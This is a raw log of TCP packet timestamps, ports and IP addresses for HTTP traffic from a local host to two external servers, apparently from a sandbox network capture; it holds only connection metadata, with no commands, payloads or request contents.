Nov 20, 2024 10:57:06.321887016 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.321892977 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.321924925 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.321980953 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.322643042 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.322679043 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.322702885 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.322711945 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.322747946 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.322748899 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.322793007 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.322793007 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.324402094 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.324439049 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.324454069 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.324475050 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.324489117 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.324579000 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.325304031 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.325339079 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.325376034 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.325385094 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.325385094 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.325437069 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.326149940 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.326188087 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.326210976 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.326221943 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.326242924 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.326258898 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.326303959 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.326303959 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.327414989 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.327470064 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.327570915 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.327606916 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.327650070 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.327650070 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.327910900 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.327946901 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.327966928 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.328039885 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.328085899 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.328140020 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.328854084 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.328890085 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.328922987 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.328934908 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.328934908 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.328959942 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.329005003 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.329005003 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.329734087 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.329768896 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.329802036 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.329802990 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.329822063 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.329859972 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.329952002 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.329988003 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.330022097 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.330032110 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.330032110 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.330112934 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.332458019 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.332515955 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.332576990 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.332611084 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.332633972 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.332648993 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.332695007 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.332695007 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.333139896 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.333175898 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.333195925 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.333209991 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.333235979 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.333261013 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.333676100 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.333713055 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.333745956 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.333746910 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.333759069 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.333796978 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.335117102 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.335170031 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.335171938 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.335206985 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.335252047 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.335252047 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.336056948 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.336091995 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.336127996 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.336137056 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.336137056 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.336164951 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.336210012 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.336210012 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.337452888 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.337488890 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.337527037 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.337539911 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.337539911 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.337563038 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.337579966 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.337618113 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.339481115 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.339515924 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.339546919 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.339550018 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.339559078 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.339589119 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.367244959 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.367281914 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.367341042 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.367522001 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.367522001 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.367522001 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.367924929 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.367959976 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.367980003 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.367995977 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.368019104 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.368400097 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.369271994 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.369308949 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.369326115 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.369338036 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.369373083 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.369381905 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.369381905 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.369462967 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.371113062 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.371150970 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.371167898 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.371184111 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.371195078 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.371218920 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.371259928 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.371259928 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:10.583731890 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:10.583834887 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:12.788789988 CET	49734	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:12.797506094 CET	80	49734	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:12.797580004 CET	49734	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:12.800262928 CET	49734	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:12.807945013 CET	80	49734	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:12.808001995 CET	49734	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:12.815865040 CET	80	49734	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:13.563699007 CET	80	49734	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:13.563730955 CET	80	49734	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:13.563783884 CET	49734	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:13.563905954 CET	49734	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:13.572747946 CET	80	49734	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:13.742082119 CET	49735	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:13.749701977 CET	80	49735	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:13.749802113 CET	49735	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:13.752315998 CET	49735	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:13.757282972 CET	80	49735	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:13.757343054 CET	49735	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:13.762371063 CET	80	49735	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:14.904177904 CET	80	49735	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:14.904339075 CET	49735	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:14.904376984 CET	80	49735	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:14.904429913 CET	49735	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:14.935204983 CET	80	49735	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:14.935308933 CET	49735	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:14.944233894 CET	80	49735	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:14.975883007 CET	49737	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:14.998311043 CET	80	49737	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:14.998421907 CET	49737	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:15.000155926 CET	49737	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:15.026823044 CET	80	49737	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:15.026901007 CET	49737	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:15.043924093 CET	80	49737	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:15.745897055 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:15.973125935 CET	80	49737	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:15.973268986 CET	49737	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:15.974914074 CET	80	49737	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:15.974982023 CET	49737	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:15.987855911 CET	80	49737	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:16.113919973 CET	49739	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:16.119182110 CET	80	49739	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:16.119294882 CET	49739	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:16.121282101 CET	49739	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:16.127567053 CET	80	49739	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:16.128443003 CET	49739	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:16.136828899 CET	80	49739	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:16.996128082 CET	80	49739	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:16.996278048 CET	49739	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:16.998735905 CET	80	49739	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:16.998792887 CET	49739	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:17.006051064 CET	80	49739	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:17.151772022 CET	49740	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:17.159086943 CET	80	49740	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:17.159162998 CET	49740	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:17.161698103 CET	49740	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:17.172113895 CET	80	49740	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:17.172162056 CET	49740	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:17.179037094 CET	80	49740	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:17.928177118 CET	80	49740	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:17.928225040 CET	80	49740	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:17.928297043 CET	49740	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:17.928333998 CET	49740	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:17.936079979 CET	80	49740	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:18.081243038 CET	49742	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:18.086416960 CET	80	49742	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:18.086496115 CET	49742	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:18.088597059 CET	49742	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:18.095000029 CET	80	49742	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:18.095134974 CET	49742	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:18.103194952 CET	80	49742	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:18.827666044 CET	80	49742	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:18.827776909 CET	49742	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:18.827908039 CET	80	49742	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:18.827961922 CET	49742	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:18.832714081 CET	80	49742	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:19.043694019 CET	49746	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:19.048960924 CET	80	49746	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:19.051810026 CET	49746	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:19.180116892 CET	49746	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:19.185269117 CET	80	49746	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:19.188468933 CET	49746	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:19.193450928 CET	80	49746	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:19.860785007 CET	80	49746	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:19.860801935 CET	80	49746	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:19.860877037 CET	49746	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:19.860929966 CET	49746	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:19.868968964 CET	80	49746	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:20.002995968 CET	49748	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:20.008618116 CET	80	49748	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:20.008701086 CET	49748	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:20.010689020 CET	49748	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:20.015677929 CET	80	49748	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:20.015773058 CET	49748	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:20.020867109 CET	80	49748	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:20.941595078 CET	80	49748	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:20.941870928 CET	49748	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:20.944310904 CET	80	49748	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:20.944375038 CET	49748	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:20.949029922 CET	80	49748	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:21.085119009 CET	49750	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:21.091339111 CET	80	49750	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:21.091418982 CET	49750	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:21.093544006 CET	49750	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:21.098722935 CET	80	49750	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:21.098850965 CET	49750	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:21.103754997 CET	80	49750	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:21.966209888 CET	80	49750	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:21.966320992 CET	49750	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:21.966411114 CET	80	49750	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:21.966486931 CET	49750	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:21.975270033 CET	80	49750	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:22.115215063 CET	49751	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:22.120414019 CET	80	49751	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:22.120510101 CET	49751	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:22.123733044 CET	49751	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:22.128839016 CET	80	49751	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:22.128961086 CET	49751	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:22.134320974 CET	80	49751	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:22.899676085 CET	80	49751	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:22.899692059 CET	80	49751	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:22.899768114 CET	49751	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:22.899801970 CET	49751	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:22.904757977 CET	80	49751	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:23.032692909 CET	49752	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:23.040549994 CET	80	49752	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:23.040623903 CET	49752	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:23.042582989 CET	49752	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:23.051320076 CET	80	49752	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:23.051374912 CET	49752	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:23.059155941 CET	80	49752	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:23.803018093 CET	80	49752	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:23.803056955 CET	80	49752	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:23.803116083 CET	49752	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:23.808026075 CET	80	49752	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:23.940078974 CET	49753	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:23.945017099 CET	80	49753	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:23.945107937 CET	49753	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:23.947213888 CET	49753	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:23.952049017 CET	80	49753	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:23.952105999 CET	49753	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:23.956950903 CET	80	49753	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:24.685511112 CET	80	49753	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:24.685583115 CET	80	49753	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:24.685646057 CET	49753	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:24.685646057 CET	49753	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:24.690524101 CET	80	49753	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:24.838731050 CET	49754	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:24.843772888 CET	80	49754	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:24.844492912 CET	49754	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:24.846554041 CET	49754	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:24.853676081 CET	80	49754	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:24.855712891 CET	49754	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:24.863075018 CET	80	49754	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:25.787076950 CET	80	49754	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:25.787244081 CET	49754	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:25.787420034 CET	80	49754	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:25.788400888 CET	49754	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:25.795228004 CET	80	49754	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:25.921185017 CET	49755	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:25.926075935 CET	80	49755	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:25.926161051 CET	49755	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:25.927906036 CET	49755	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:25.934050083 CET	80	49755	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:25.934108973 CET	49755	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:25.942075014 CET	80	49755	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:26.822717905 CET	80	49755	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:26.822738886 CET	80	49755	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:26.822818041 CET	49755	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:26.822859049 CET	49755	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:26.827905893 CET	80	49755	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:26.971038103 CET	49756	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:26.976089954 CET	80	49756	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:26.976186991 CET	49756	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:26.978172064 CET	49756	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:26.983093023 CET	80	49756	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:26.983155966 CET	49756	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:26.988032103 CET	80	49756	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:27.739604950 CET	80	49756	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:27.739618063 CET	80	49756	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:27.739804983 CET	49756	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:27.739804983 CET	49756	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:27.744857073 CET	80	49756	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:27.875098944 CET	49757	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:27.883167028 CET	80	49757	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:27.883244991 CET	49757	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:27.885332108 CET	49757	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:27.893076897 CET	80	49757	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:27.893409014 CET	49757	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:27.901120901 CET	80	49757	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:28.632070065 CET	80	49757	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:28.632111073 CET	80	49757	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:28.632252932 CET	49757	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:28.637502909 CET	49757	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:28.642339945 CET	80	49757	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:28.786712885 CET	49758	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:28.791872025 CET	80	49758	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:28.791977882 CET	49758	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:28.793894053 CET	49758	80	192.168.2.4	94.156.177.41
